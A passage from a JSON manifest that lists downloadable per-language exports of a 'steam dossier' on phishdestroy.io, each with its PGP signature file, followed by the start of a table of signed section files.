            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/pt/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/tr/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/uk/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/vi/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/card_economy.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/card_economy.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/elite_skins.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/elite_skins.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/enforcement_audit.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/enforcement_audit.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/investigation_part2.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/investigation_part2.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/legal_analysis.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/legal_analysis.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/license_disclaimer.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/license_disclaimer.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/market_economics.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/market_economics.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__index.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__index.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__network.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__network.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__steam_ecosystem_dashboard.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__steam_ecosystem_dashboard.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__valve_ru_farming_isolated.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/output_steam_network__valve_ru_farming_isolated.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/regulatory_act_print.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/regulatory_act_print.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/security_timeline.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/security_timeline.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/skin_atlas.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/skin_atlas.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/social_graph.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/social_graph.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/steam_enforcement_evidence.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/steam_enforcement_evidence.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/steam_evidence_archive.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/steam_evidence_archive.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/support_canned_refusals.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/support_canned_refusals.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/valve_scandals_registry.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/pages/zh/valve_scandals_registry.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ar.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ar.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-de.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-de.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-en.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-en.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-es.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-es.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-fr.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-fr.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-hi.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-hi.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-id.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-id.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-it.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-it.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ja.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ja.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ko.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-ko.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-nl.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-nl.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-pl.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-pl.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-pt.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-pt.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-tr.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-tr.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-uk.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-uk.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-vi.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-vi.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-zh.content.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/exports/steam-dossier-zh.content.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/steam-api-scam-exposed-release.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/steam-api-scam-exposed-release.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/steam-shadow-economy-release.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/steam-shadow-economy-release.json.asc"
          },
          {
            "label": "File",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/valve-profits-from-stolen-accounts-release.json"
          },
          {
            "label": ".asc",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/valve-profits-from-stolen-accounts-release.json.asc"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Signed file",
                "Snapshot date",
                "Signature",
                "Download"
              ],
              [
                "steam_dossier_major_skins_agent_simon.jsonexports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_major_skins_phishdestroy.jsonexports/agent-protocol/files/en/steam_dossier_major_skins_phishdestroy.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_major_sponsorships_agent_rowan.jsonexports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_part_ii_section_1_agent_sean.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_part_ii_section_2_agent_larry.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_part_ii_section_3_agent_katherine.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_part_ii_section_4_agent_elliott.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_part_ii_section_5_agent_tabitha.jsonexports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_10_agent_dylan.jsonexports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_11_1_agent_constance.jsonexports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_11_agent_mariana.jsonexports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_12_agent_randall.jsonexports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam_dossier_section_13_agent_neil.jsonexports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
